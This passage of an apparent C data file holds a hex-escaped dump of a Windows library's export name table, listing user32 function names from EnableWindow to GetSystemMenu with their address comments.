\"\\x72\\x00\\x45\\x6E\\x61\\x62\\x6C\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x45\"   //r.EnableWindow.E\n/* 7E418C20 */   \"\\x6E\\x64\\x44\\x65\\x66\\x65\\x72\\x57\\x69\\x6E\\x64\\x6F\\x77\\x50\\x6F\\x73\"   //ndDeferWindowPos\n/* 7E418C40 */   \"\\x00\\x45\\x6E\\x64\\x44\\x69\\x61\\x6C\\x6F\\x67\\x00\\x45\\x6E\\x64\\x4D\\x65\"   //.EndDialog.EndMe\n/* 7E418C60 */   \"\\x6E\\x75\\x00\\x45\\x6E\\x64\\x50\\x61\\x69\\x6E\\x74\\x00\\x45\\x6E\\x64\\x54\"   //nu.EndPaint.EndT\n/* 7E418C80 */   \"\\x61\\x73\\x6B\\x00\\x45\\x6E\\x74\\x65\\x72\\x52\\x65\\x61\\x64\\x65\\x72\\x4D\"   //ask.EnterReaderM\n/* 7E418CA0 */   \"\\x6F\\x64\\x65\\x48\\x65\\x6C\\x70\\x65\\x72\\x00\\x45\\x6E\\x75\\x6D\\x43\\x68\"   //odeHelper.EnumCh\n/* 7E418CC0 */   \"\\x69\\x6C\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x00\\x45\\x6E\\x75\\x6D\\x43\"   //ildWindows.EnumC\n/* 7E418CE0 */   \"\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\\x46\\x6F\\x72\\x6D\\x61\\x74\\x73\\x00\"   //lipboardFormats.\n/* 7E418D00 */   \"\\x45\\x6E\\x75\\x6D\\x44\\x65\\x73\\x6B\\x74\\x6F\\x70\\x57\\x69\\x6E\\x64\\x6F\"   //EnumDesktopWindo\n/* 7E418D20 */   \"\\x77\\x73\\x00\\x45\\x6E\\x75\\x6D\\x44\\x65\\x73\\x6B\\x74\\x6F\\x70\\x73\\x41\"   //ws.EnumDesktopsA\n/* 7E418D40 */   \"\\x00\\x45\\x6E\\x75\\x6D\\x44\\x65\\x73\\x6B\\x74\\x6F\\x70\\x73\\x57\\x00\\x45\"   //.EnumDesktopsW.E\n/* 7E418D60 */   \"\\x6E\\x75\\x6D\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x44\\x65\\x76\\x69\\x63\\x65\"   //numDisplayDevice\n/* 7E418D80 */   \"\\x73\\x41\\x00\\x45\\x6E\\x75\\x6D\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x44\\x65\"   //sA.EnumDisplayDe\n/* 7E418DA0 */   \"\\x76\\x69\\x63\\x65\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x44\\x69\\x73\\x70\\x6C\"   //vicesW.EnumDispl\n/* 7E418DC0 */   \"\\x61\\x79\\x4D\\x6F\\x6E\\x69\\x74\\x6F\\x72\\x73\\x00\\x45\\x6E\\x75\\x6D\\x44\"   //ayMonitors.EnumD\n/* 7E418DE0 */   \"\\x69\\x73\\x70\\x6C\\x61\\x79\\x53\\x65\\x74\\x74\\x69\\x6E\\x67\\x73\\x41\\x00\"   //isplaySettingsA.\n/* 7E418E00 */   \"\\x45\\x6E\\x75\\x6D\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x53\\x65\\x74\\x74\\x69\"   //EnumDisplaySetti\n/* 7E418E20 */   \"\\x6E\\x67\\x73\\x45\\x78\\x41\\x00\\x45\\x6E\\x75\\x6D\\x44\\x69\\x73\\x70\\x6C\"   //ngsExA.EnumDispl\n/* 7E418E40 */   \"\\x61\\x79\\x53\\x65\\x74\\x74\\x69\\x6E\\x67\\x73\\x45\\x78\\x57\\x00\\x45\\x6E\"   //aySettingsExW.En\n/* 7E418E60 */   \"\\x75\\x6D\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x53\\x65\\x74\\x74\\x69\\x6E\\x67\"   //umDisplaySetting\n/* 7E418E80 */   \"\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x50\\x72\\x6F\\x70\\x73\\x41\\x00\\x45\\x6E\"   //sW.EnumPropsA.En\n/* 7E418EA0 */   \"\\x75\\x6D\\x50\\x72\\x6F\\x70\\x73\\x45\\x78\\x41\\x00\\x45\\x6E\\x75\\x6D\\x50\"   //umPropsExA.EnumP\n/* 7E418EC0 */   \"\\x72\\x6F\\x70\\x73\\x45\\x78\\x57\\x00\\x45\\x6E\\x75\\x6D\\x50\\x72\\x6F\\x70\"   //ropsExW.EnumProp\n/* 7E418EE0 */   \"\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x54\\x68\\x72\\x65\\x61\\x64\\x57\\x69\\x6E\"   //sW.EnumThreadWin\n/* 7E418F00 */   \"\\x64\\x6F\\x77\\x73\\x00\\x45\\x6E\\x75\\x6D\\x57\\x69\\x6E\\x64\\x6F\\x77\\x53\"   //dows.EnumWindowS\n/* 7E418F20 */   \"\\x74\\x61\\x74\\x69\\x6F\\x6E\\x73\\x41\\x00\\x45\\x6E\\x75\\x6D\\x57\\x69\\x6E\"   //tationsA.EnumWin\n/* 7E418F40 */   \"\\x64\\x6F\\x77\\x53\\x74\\x61\\x74\\x69\\x6F\\x6E\\x73\\x57\\x00\\x45\\x6E\\x75\"   //dowStationsW.Enu\n/* 7E418F60 */   \"\\x6D\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x00\\x45\\x71\\x75\\x61\\x6C\\x52\\x65\"   //mWindows.EqualRe\n/* 7E418F80 */   \"\\x63\\x74\\x00\\x45\\x78\\x63\\x6C\\x75\\x64\\x65\\x55\\x70\\x64\\x61\\x74\\x65\"   //ct.ExcludeUpdate\n/* 7E418FA0 */   \"\\x52\\x67\\x6E\\x00\\x45\\x78\\x69\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x45\"   //Rgn.ExitWindowsE\n/* 7E418FC0 */   \"\\x78\\x00\\x46\\x69\\x6C\\x6C\\x52\\x65\\x63\\x74\\x00\\x46\\x69\\x6E\\x64\\x57\"   //x.FillRect.FindW\n/* 7E418FE0 */   \"\\x69\\x6E\\x64\\x6F\\x77\\x41\\x00\\x46\\x69\\x6E\\x64\\x57\\x69\\x6E\\x64\\x6F\"   //indowA.FindWindo\n/* 7E419000 */   \"\\x77\\x45\\x78\\x41\\x00\\x46\\x69\\x6E\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\\x45\"   //wExA.FindWindowE\n/* 7E419020 */   \"\\x78\\x57\\x00\\x46\\x69\\x6E\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\\x57\\x00\\x46\"   //xW.FindWindowW.F\n/* 7E419040 */   \"\\x6C\\x61\\x73\\x68\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x46\\x6C\\x61\\x73\\x68\"   //lashWindow.Flash\n/* 7E419060 */   \"\\x57\\x69\\x6E\\x64\\x6F\\x77\\x45\\x78\\x00\\x46\\x72\\x61\\x6D\\x65\\x52\\x65\"   //WindowEx.FrameRe\n/* 7E419080 */   \"\\x63\\x74\\x00\\x46\\x72\\x65\\x65\\x44\\x44\\x45\\x6C\\x50\\x61\\x72\\x61\\x6D\"   //ct.FreeDDElParam\n/* 7E4190A0 */   \"\\x00\\x47\\x65\\x74\\x41\\x63\\x74\\x69\\x76\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\"   //.GetActiveWindow\n/* 7E4190C0 */   \"\\x00\\x47\\x65\\x74\\x41\\x6C\\x74\\x54\\x61\\x62\\x49\\x6E\\x66\\x6F\\x00\\x47\"   //.GetAltTabInfo.G\n/* 7E4190E0 */   \"\\x65\\x74\\x41\\x6C\\x74\\x54\\x61\\x62\\x49\\x6E\\x66\\x6F\\x41\\x00\\x47\\x65\"   //etAltTabInfoA.Ge\n/* 7E419100 */   \"\\x74\\x41\\x6C\\x74\\x54\\x61\\x62\\x49\\x6E\\x66\\x6F\\x57\\x00\\x47\\x65\\x74\"   //tAltTabInfoW.Get\n/* 7E419120 */   \"\\x41\\x6E\\x63\\x65\\x73\\x74\\x6F\\x72\\x00\\x47\\x65\\x74\\x41\\x70\\x70\\x43\"   //Ancestor.GetAppC\n/* 7E419140 */   \"\\x6F\\x6D\\x70\\x61\\x74\\x46\\x6C\\x61\\x67\\x73\\x00\\x47\\x65\\x74\\x41\\x70\"   //ompatFlags.GetAp\n/* 7E419160 */   \"\\x70\\x43\\x6F\\x6D\\x70\\x61\\x74\\x46\\x6C\\x61\\x67\\x73\\x32\\x00\\x47\\x65\"   //pCompatFlags2.Ge\n/* 7E419180 */   \"\\x74\\x41\\x73\\x79\\x6E\\x63\\x4B\\x65\\x79\\x53\\x74\\x61\\x74\\x65\\x00\\x47\"   //tAsyncKeyState.G\n/* 7E4191A0 */   \"\\x65\\x74\\x43\\x61\\x70\\x74\\x75\\x72\\x65\\x00\\x47\\x65\\x74\\x43\\x61\\x72\"   //etCapture.GetCar\n/* 7E4191C0 */   \"\\x65\\x74\\x42\\x6C\\x69\\x6E\\x6B\\x54\\x69\\x6D\\x65\\x00\\x47\\x65\\x74\\x43\"   //etBlinkTime.GetC\n/* 7E4191E0 */   \"\\x61\\x72\\x65\\x74\\x50\\x6F\\x73\\x00\\x47\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\"   //aretPos.GetClass\n/* 7E419200 */   \"\\x49\\x6E\\x66\\x6F\\x41\\x00\\x47\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x49\\x6E\"   //InfoA.GetClassIn\n/* 7E419220 */   \"\\x66\\x6F\\x45\\x78\\x41\\x00\\x47\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x49\\x6E\"   //foExA.GetClassIn\n/* 7E419240 */   \"\\x66\\x6F\\x45\\x78\\x57\\x00\\x47\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x49\\x6E\"   //foExW.GetClassIn\n/* 7E419260 */   \"\\x66\\x6F\\x57\\x00\\x47\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x4C\\x6F\\x6E\\x67\"   //foW.GetClassLong\n/* 7E419280 */   \"\\x41\\x00\\x47\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x4C\\x6F\\x6E\\x67\\x57\\x00\"   //A.GetClassLongW.\n/* 7E4192A0 */   \"\\x47\\x65\\x74\\x43\\x6C\\x61\\x73\\x73\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\"   //GetClassNameA.Ge\n/* 7E4192C0 */   \"\\x74\\x43\\x6C\\x61\\x73\\x73\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x43\"   //tClassNameW.GetC\n/* 7E4192E0 */   \"\\x6C\\x61\\x73\\x73\\x57\\x6F\\x72\\x64\\x00\\x47\\x65\\x74\\x43\\x6C\\x69\\x65\"   //lassWord.GetClie\n/* 7E419300 */   \"\\x6E\\x74\\x52\\x65\\x63\\x74\\x00\\x47\\x65\\x74\\x43\\x6C\\x69\\x70\\x43\\x75\"   //ntRect.GetClipCu\n/* 7E419320 */   \"\\x72\\x73\\x6F\\x72\\x00\\x47\\x65\\x74\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\"   //rsor.GetClipboar\n/* 7E419340 */   \"\\x64\\x44\\x61\\x74\\x61\\x00\\x47\\x65\\x74\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\"   //dData.GetClipboa\n/* 7E419360 */   \"\\x72\\x64\\x46\\x6F\\x72\\x6D\\x61\\x74\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\"   //rdFormatNameA.Ge\n/* 7E419380 */   \"\\x74\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\\x46\\x6F\\x72\\x6D\\x61\\x74\"   //tClipboardFormat\n/* 7E4193A0 */   \"\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\"   //NameW.GetClipboa\n/* 7E4193C0 */   \"\\x72\\x64\\x4F\\x77\\x6E\\x65\\x72\\x00\\x47\\x65\\x74\\x43\\x6C\\x69\\x70\\x62\"   //rdOwner.GetClipb\n/* 7E4193E0 */   \"\\x6F\\x61\\x72\\x64\\x53\\x65\\x71\\x75\\x65\\x6E\\x63\\x65\\x4E\\x75\\x6D\\x62\"   //oardSequenceNumb\n/* 7E419400 */   \"\\x65\\x72\\x00\\x47\\x65\\x74\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\\x56\"   //er.GetClipboardV\n/* 7E419420 */   \"\\x69\\x65\\x77\\x65\\x72\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x62\\x6F\\x42\\x6F\"   //iewer.GetComboBo\n/* 7E419440 */   \"\\x78\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x43\\x75\\x72\\x73\\x6F\\x72\\x00\"   //xInfo.GetCursor.\n/* 7E419460 */   \"\\x47\\x65\\x74\\x43\\x75\\x72\\x73\\x6F\\x72\\x46\\x72\\x61\\x6D\\x65\\x49\\x6E\"   //GetCursorFrameIn\n/* 7E419480 */   \"\\x66\\x6F\\x00\\x47\\x65\\x74\\x43\\x75\\x72\\x73\\x6F\\x72\\x49\\x6E\\x66\\x6F\"   //fo.GetCursorInfo\n/* 7E4194A0 */   \"\\x00\\x47\\x65\\x74\\x43\\x75\\x72\\x73\\x6F\\x72\\x50\\x6F\\x73\\x00\\x47\\x65\"   //.GetCursorPos.Ge\n/* 7E4194C0 */   \"\\x74\\x44\\x43\\x00\\x47\\x65\\x74\\x44\\x43\\x45\\x78\\x00\\x47\\x65\\x74\\x44\"   //tDC.GetDCEx.GetD\n/* 7E4194E0 */   \"\\x65\\x73\\x6B\\x74\\x6F\\x70\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x47\\x65\\x74\"   //esktopWindow.Get\n/* 7E419500 */   \"\\x44\\x69\\x61\\x6C\\x6F\\x67\\x42\\x61\\x73\\x65\\x55\\x6E\\x69\\x74\\x73\\x00\"   //DialogBaseUnits.\n/* 7E419520 */   \"\\x47\\x65\\x74\\x44\\x6C\\x67\\x43\\x74\\x72\\x6C\\x49\\x44\\x00\\x47\\x65\\x74\"   //GetDlgCtrlID.Get\n/* 7E419540 */   \"\\x44\\x6C\\x67\\x49\\x74\\x65\\x6D\\x00\\x47\\x65\\x74\\x44\\x6C\\x67\\x49\\x74\"   //DlgItem.GetDlgIt\n/* 7E419560 */   \"\\x65\\x6D\\x49\\x6E\\x74\\x00\\x47\\x65\\x74\\x44\\x6C\\x67\\x49\\x74\\x65\\x6D\"   //emInt.GetDlgItem\n/* 7E419580 */   \"\\x54\\x65\\x78\\x74\\x41\\x00\\x47\\x65\\x74\\x44\\x6C\\x67\\x49\\x74\\x65\\x6D\"   //TextA.GetDlgItem\n/* 7E4195A0 */   \"\\x54\\x65\\x78\\x74\\x57\\x00\\x47\\x65\\x74\\x44\\x6F\\x75\\x62\\x6C\\x65\\x43\"   //TextW.GetDoubleC\n/* 7E4195C0 */   \"\\x6C\\x69\\x63\\x6B\\x54\\x69\\x6D\\x65\\x00\\x47\\x65\\x74\\x46\\x6F\\x63\\x75\"   //lickTime.GetFocu\n/* 7E4195E0 */   \"\\x73\\x00\\x47\\x65\\x74\\x46\\x6F\\x72\\x65\\x67\\x72\\x6F\\x75\\x6E\\x64\\x57\"   //s.GetForegroundW\n/* 7E419600 */   \"\\x69\\x6E\\x64\\x6F\\x77\\x00\\x47\\x65\\x74\\x47\\x55\\x49\\x54\\x68\\x72\\x65\"   //indow.GetGUIThre\n/* 7E419620 */   \"\\x61\\x64\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x47\\x75\\x69\\x52\\x65\\x73\"   //adInfo.GetGuiRes\n/* 7E419640 */   \"\\x6F\\x75\\x72\\x63\\x65\\x73\\x00\\x47\\x65\\x74\\x49\\x63\\x6F\\x6E\\x49\\x6E\"   //ources.GetIconIn\n/* 7E419660 */   \"\\x66\\x6F\\x00\\x47\\x65\\x74\\x49\\x6E\\x70\\x75\\x74\\x44\\x65\\x73\\x6B\\x74\"   //fo.GetInputDeskt\n/* 7E419680 */   \"\\x6F\\x70\\x00\\x47\\x65\\x74\\x49\\x6E\\x70\\x75\\x74\\x53\\x74\\x61\\x74\\x65\"   //op.GetInputState\n/* 7E4196A0 */   \"\\x00\\x47\\x65\\x74\\x49\\x6E\\x74\\x65\\x72\\x6E\\x61\\x6C\\x57\\x69\\x6E\\x64\"   //.GetInternalWind\n/* 7E4196C0 */   \"\\x6F\\x77\\x50\\x6F\\x73\\x00\\x47\\x65\\x74\\x4B\\x42\\x43\\x6F\\x64\\x65\\x50\"   //owPos.GetKBCodeP\n/* 7E4196E0 */   \"\\x61\\x67\\x65\\x00\\x47\\x65\\x74\\x4B\\x65\\x79\\x4E\\x61\\x6D\\x65\\x54\\x65\"   //age.GetKeyNameTe\n/* 7E419700 */   \"\\x78\\x74\\x41\\x00\\x47\\x65\\x74\\x4B\\x65\\x79\\x4E\\x61\\x6D\\x65\\x54\\x65\"   //xtA.GetKeyNameTe\n/* 7E419720 */   \"\\x78\\x74\\x57\\x00\\x47\\x65\\x74\\x4B\\x65\\x79\\x53\\x74\\x61\\x74\\x65\\x00\"   //xtW.GetKeyState.\n/* 7E419740 */   \"\\x47\\x65\\x74\\x4B\\x65\\x79\\x62\\x6F\\x61\\x72\\x64\\x4C\\x61\\x79\\x6F\\x75\"   //GetKeyboardLayou\n/* 7E419760 */   \"\\x74\\x00\\x47\\x65\\x74\\x4B\\x65\\x79\\x62\\x6F\\x61\\x72\\x64\\x4C\\x61\\x79\"   //t.GetKeyboardLay\n/* 7E419780 */   \"\\x6F\\x75\\x74\\x4C\\x69\\x73\\x74\\x00\\x47\\x65\\x74\\x4B\\x65\\x79\\x62\\x6F\"   //outList.GetKeybo\n/* 7E4197A0 */   \"\\x61\\x72\\x64\\x4C\\x61\\x79\\x6F\\x75\\x74\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\"   //ardLayoutNameA.G\n/* 7E4197C0 */   \"\\x65\\x74\\x4B\\x65\\x79\\x62\\x6F\\x61\\x72\\x64\\x4C\\x61\\x79\\x6F\\x75\\x74\"   //etKeyboardLayout\n/* 7E4197E0 */   \"\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x4B\\x65\\x79\\x62\\x6F\\x61\\x72\"   //NameW.GetKeyboar\n/* 7E419800 */   \"\\x64\\x53\\x74\\x61\\x74\\x65\\x00\\x47\\x65\\x74\\x4B\\x65\\x79\\x62\\x6F\\x61\"   //dState.GetKeyboa\n/* 7E419820 */   \"\\x72\\x64\\x54\\x79\\x70\\x65\\x00\\x47\\x65\\x74\\x4C\\x61\\x73\\x74\\x41\\x63\"   //rdType.GetLastAc\n/* 7E419840 */   \"\\x74\\x69\\x76\\x65\\x50\\x6F\\x70\\x75\\x70\\x00\\x47\\x65\\x74\\x4C\\x61\\x73\"   //tivePopup.GetLas\n/* 7E419860 */   \"\\x74\\x49\\x6E\\x70\\x75\\x74\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x4C\\x61\"   //tInputInfo.GetLa\n/* 7E419880 */   \"\\x79\\x65\\x72\\x65\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\\x41\\x74\\x74\\x72\\x69\"   //yeredWindowAttri\n/* 7E4198A0 */   \"\\x62\\x75\\x74\\x65\\x73\\x00\\x47\\x65\\x74\\x4C\\x69\\x73\\x74\\x42\\x6F\\x78\"   //butes.GetListBox\n/* 7E4198C0 */   \"\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x4D\\x65\\x6E\\x75\\x00\\x47\\x65\\x74\"   //Info.GetMenu.Get\n/* 7E4198E0 */   \"\\x4D\\x65\\x6E\\x75\\x42\\x61\\x72\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x4D\"   //MenuBarInfo.GetM\n/* 7E419900 */   \"\\x65\\x6E\\x75\\x43\\x68\\x65\\x63\\x6B\\x4D\\x61\\x72\\x6B\\x44\\x69\\x6D\\x65\"   //enuCheckMarkDime\n/* 7E419920 */   \"\\x6E\\x73\\x69\\x6F\\x6E\\x73\\x00\\x47\\x65\\x74\\x4D\\x65\\x6E\\x75\\x43\\x6F\"   //nsions.GetMenuCo\n/* 7E419940 */   \"\\x6E\\x74\\x65\\x78\\x74\\x48\\x65\\x6C\\x70\\x49\\x64\\x00\\x47\\x65\\x74\\x4D\"   //ntextHelpId.GetM\n/* 7E419960 */   \"\\x65\\x6E\\x75\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x49\\x74\\x65\\x6D\\x00\\x47\"   //enuDefaultItem.G\n/* 7E419980 */   \"\\x65\\x74\\x4D\\x65\\x6E\\x75\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x4D\\x65\"   //etMenuInfo.GetMe\n/* 7E4199A0 */   \"\\x6E\\x75\\x49\\x74\\x65\\x6D\\x43\\x6F\\x75\\x6E\\x74\\x00\\x47\\x65\\x74\\x4D\"   //nuItemCount.GetM\n/* 7E4199C0 */   \"\\x65\\x6E\\x75\\x49\\x74\\x65\\x6D\\x49\\x44\\x00\\x47\\x65\\x74\\x4D\\x65\\x6E\"   //enuItemID.GetMen\n/* 7E4199E0 */   \"\\x75\\x49\\x74\\x65\\x6D\\x49\\x6E\\x66\\x6F\\x41\\x00\\x47\\x65\\x74\\x4D\\x65\"   //uItemInfoA.GetMe\n/* 7E419A00 */   \"\\x6E\\x75\\x49\\x74\\x65\\x6D\\x49\\x6E\\x66\\x6F\\x57\\x00\\x47\\x65\\x74\\x4D\"   //nuItemInfoW.GetM\n/* 7E419A20 */   \"\\x65\\x6E\\x75\\x49\\x74\\x65\\x6D\\x52\\x65\\x63\\x74\\x00\\x47\\x65\\x74\\x4D\"   //enuItemRect.GetM\n/* 7E419A40 */   \"\\x65\\x6E\\x75\\x53\\x74\\x61\\x74\\x65\\x00\\x47\\x65\\x74\\x4D\\x65\\x6E\\x75\"   //enuState.GetMenu\n/* 7E419A60 */   \"\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\\x47\\x65\\x74\\x4D\\x65\\x6E\\x75\\x53\"   //StringA.GetMenuS\n/* 7E419A80 */   \"\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\\x47\\x65\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\"   //tringW.GetMessag\n/* 7E419AA0 */   \"\\x65\\x41\\x00\\x47\\x65\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x45\\x78\\x74\"   //eA.GetMessageExt\n/* 7E419AC0 */   \"\\x72\\x61\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\"   //raInfo.GetMessag\n/* 7E419AE0 */   \"\\x65\\x50\\x6F\\x73\\x00\\x47\\x65\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x54\"   //ePos.GetMessageT\n/* 7E419B00 */   \"\\x69\\x6D\\x65\\x00\\x47\\x65\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x57\\x00\"   //ime.GetMessageW.\n/* 7E419B20 */   \"\\x47\\x65\\x74\\x4D\\x6F\\x6E\\x69\\x74\\x6F\\x72\\x49\\x6E\\x66\\x6F\\x41\\x00\"   //GetMonitorInfoA.\n/* 7E419B40 */   \"\\x47\\x65\\x74\\x4D\\x6F\\x6E\\x69\\x74\\x6F\\x72\\x49\\x6E\\x66\\x6F\\x57\\x00\"   //GetMonitorInfoW.\n/* 7E419B60 */   \"\\x47\\x65\\x74\\x4D\\x6F\\x75\\x73\\x65\\x4D\\x6F\\x76\\x65\\x50\\x6F\\x69\\x6E\"   //GetMouseMovePoin\n/* 7E419B80 */   \"\\x74\\x73\\x45\\x78\\x00\\x47\\x65\\x74\\x4E\\x65\\x78\\x74\\x44\\x6C\\x67\\x47\"   //tsEx.GetNextDlgG\n/* 7E419BA0 */   \"\\x72\\x6F\\x75\\x70\\x49\\x74\\x65\\x6D\\x00\\x47\\x65\\x74\\x4E\\x65\\x78\\x74\"   //roupItem.GetNext\n/* 7E419BC0 */   \"\\x44\\x6C\\x67\\x54\\x61\\x62\\x49\\x74\\x65\\x6D\\x00\\x47\\x65\\x74\\x4F\\x70\"   //DlgTabItem.GetOp\n/* 7E419BE0 */   \"\\x65\\x6E\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\\x57\\x69\\x6E\\x64\\x6F\"   //enClipboardWindo\n/* 7E419C00 */   \"\\x77\\x00\\x47\\x65\\x74\\x50\\x61\\x72\\x65\\x6E\\x74\\x00\\x47\\x65\\x74\\x50\"   //w.GetParent.GetP\n/* 7E419C20 */   \"\\x72\\x69\\x6F\\x72\\x69\\x74\\x79\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\"   //riorityClipboard\n/* 7E419C40 */   \"\\x46\\x6F\\x72\\x6D\\x61\\x74\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\"   //Format.GetProces\n/* 7E419C60 */   \"\\x73\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4C\\x61\\x79\\x6F\\x75\\x74\\x00\\x47\"   //sDefaultLayout.G\n/* 7E419C80 */   \"\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x57\\x69\\x6E\\x64\\x6F\\x77\\x53\"   //etProcessWindowS\n/* 7E419CA0 */   \"\\x74\\x61\\x74\\x69\\x6F\\x6E\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x67\\x6D\\x61\"   //tation.GetProgma\n/* 7E419CC0 */   \"\\x6E\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x70\\x41\"   //nWindow.GetPropA\n/* 7E419CE0 */   \"\\x00\\x47\\x65\\x74\\x50\\x72\\x6F\\x70\\x57\\x00\\x47\\x65\\x74\\x51\\x75\\x65\"   //.GetPropW.GetQue\n/* 7E419D00 */   \"\\x75\\x65\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x47\\x65\\x74\\x52\\x61\\x77\\x49\"   //ueStatus.GetRawI\n/* 7E419D20 */   \"\\x6E\\x70\\x75\\x74\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x47\\x65\\x74\\x52\\x61\"   //nputBuffer.GetRa\n/* 7E419D40 */   \"\\x77\\x49\\x6E\\x70\\x75\\x74\\x44\\x61\\x74\\x61\\x00\\x47\\x65\\x74\\x52\\x61\"   //wInputData.GetRa\n/* 7E419D60 */   \"\\x77\\x49\\x6E\\x70\\x75\\x74\\x44\\x65\\x76\\x69\\x63\\x65\\x49\\x6E\\x66\\x6F\"   //wInputDeviceInfo\n/* 7E419D80 */   \"\\x41\\x00\\x47\\x65\\x74\\x52\\x61\\x77\\x49\\x6E\\x70\\x75\\x74\\x44\\x65\\x76\"   //A.GetRawInputDev\n/* 7E419DA0 */   \"\\x69\\x63\\x65\\x49\\x6E\\x66\\x6F\\x57\\x00\\x47\\x65\\x74\\x52\\x61\\x77\\x49\"   //iceInfoW.GetRawI\n/* 7E419DC0 */   \"\\x6E\\x70\\x75\\x74\\x44\\x65\\x76\\x69\\x63\\x65\\x4C\\x69\\x73\\x74\\x00\\x47\"   //nputDeviceList.G\n/* 7E419DE0 */   \"\\x65\\x74\\x52\\x65\\x61\\x73\\x6F\\x6E\\x54\\x69\\x74\\x6C\\x65\\x46\\x72\\x6F\"   //etReasonTitleFro\n/* 7E419E00 */   \"\\x6D\\x52\\x65\\x61\\x73\\x6F\\x6E\\x43\\x6F\\x64\\x65\\x00\\x47\\x65\\x74\\x52\"   //mReasonCode.GetR\n/* 7E419E20 */   \"\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x65\\x64\\x52\\x61\\x77\\x49\\x6E\\x70\\x75\"   //egisteredRawInpu\n/* 7E419E40 */   \"\\x74\\x44\\x65\\x76\\x69\\x63\\x65\\x73\\x00\\x47\\x65\\x74\\x53\\x63\\x72\\x6F\"   //tDevices.GetScro\n/* 7E419E60 */   \"\\x6C\\x6C\\x42\\x61\\x72\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x53\\x63\\x72\"   //llBarInfo.GetScr\n/* 7E419E80 */   \"\\x6F\\x6C\\x6C\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x53\\x63\\x72\\x6F\\x6C\"   //ollInfo.GetScrol\n/* 7E419EA0 */   \"\\x6C\\x50\\x6F\\x73\\x00\\x47\\x65\\x74\\x53\\x63\\x72\\x6F\\x6C\\x6C\\x52\\x61\"   //lPos.GetScrollRa\n/* 7E419EC0 */   \"\\x6E\\x67\\x65\\x00\\x47\\x65\\x74\\x53\\x68\\x65\\x6C\\x6C\\x57\\x69\\x6E\\x64\"   //nge.GetShellWind\n/* 7E419EE0 */   \"\\x6F\\x77\\x00\\x47\\x65\\x74\\x53\\x75\\x62\\x4D\\x65\\x6E\\x75\\x00\\x47\\x65\"   //ow.GetSubMenu.Ge\n/* 7E419F00 */   \"\\x74\\x53\\x79\\x73\\x43\\x6F\\x6C\\x6F\\x72\\x00\\x47\\x65\\x74\\x53\\x79\\x73\"   //tSysColor.GetSys\n/* 7E419F20 */   \"\\x43\\x6F\\x6C\\x6F\\x72\\x42\\x72\\x75\\x73\\x68\\x00\\x47\\x65\\x74\\x53\\x79\"   //ColorBrush.GetSy\n/* 7E419F40 */   \"\\x73\\x74\\x65\\x6D\\x4D\\x65\\x6E\\x75\\x00\\x47\\x65\\x74\\x53\\x79\\x73\\x74\"   //stemMenu.GetSyst\n/* 7E419F60 */   